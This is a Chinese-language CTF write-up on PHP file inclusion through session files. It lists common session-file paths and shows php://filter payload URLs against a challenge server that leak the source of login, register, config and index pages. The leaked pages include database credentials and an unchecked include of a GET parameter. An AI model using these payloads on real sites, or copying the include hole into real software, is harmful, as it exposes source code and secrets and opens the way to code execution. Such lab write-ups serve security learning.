PHP文件包含 Session

首先了解一下PHP文件包含漏洞----包含session

利用条件：session文件路径已知，且其中内容部分可控。

姿势：

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置：

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

要包含并利用的话，需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候，可以先包含进session文件，观察里面的内容，然后根据里面的字段来发现可控的变量，从而利用变量来写入payload，并之后再次包含从而执行php代码。

题目：

http://54.222.188.152:22589/

解题思路：

php伪协议读取源码

点击login，发现链接变为：

http://54.222.188.152:22589/index.php

?action=login.php

首先读取 login.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=login.php

得到login.php源码：

require_once('config.php');

session_start();

if($_SESSION['username']) {

header('Location: index.php');

exit;

}

if($_POST['username'] && $_POST['password']) {

$username = $_POST['username'];

$password = md5($_POST['password']);

$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);

if ($mysqli->connect_errno) {

die("could not connect to the database:\n" . $mysqli->connect_error);

}

$sql = "select password from user where username=?";

$stmt = $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_password);

$stmt->execute();

$stmt->fetch();

if ($res_password == $password) {

$_SESSION['username'] = base64_encode($username);

header("location:index.php");

} else {

die("Invalid user name or password");

}

$stmt->close();

$mysqli->close();

}

else {

?>

Login

}

?>

读取 register.php 的源码

访问：

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=register.php

得到源码：

if ($_POST['username'] && $_POST['password']) {

require_once('config.php');

$username = $_POST['username'];

$password = md5($_POST['password']);

$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);

if ($mysqli->connect_errno) {

die("could not connect to the database:\n" . $mysqli->connect_error);

}

$mysqli->set_charset("utf8");

$sql = "select * from user where username=?";

$stmt = $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_id, $res_username, $res_password);

$stmt->execute();

$stmt->store_result();

$count = $stmt->num_rows();

if($count) {

die('User name Already Exists');

} else {

$sql = "insert into user(username, password) values(?,?)";

$stmt = $mysqli->prepare($sql);

$stmt->bind_param("ss", $username, $password);

$stmt->execute();

echo 'Register OK!Please Login';

}

$stmt->close();

$mysqli->close();

} else {

?>

Login

}

?>

读取 config.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=config.php

得到源码：

$dbhost = 'localhost';

$dbuser = 'web';

$dbpass = 'webpass123';

$dbname = 'web';

?>

读取 index.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=index.php

源码：

error_reporting(0);

session_start();

if (isset($_GET['action'])) {

include $_GET['action'];

exit();

} else {

?>

Login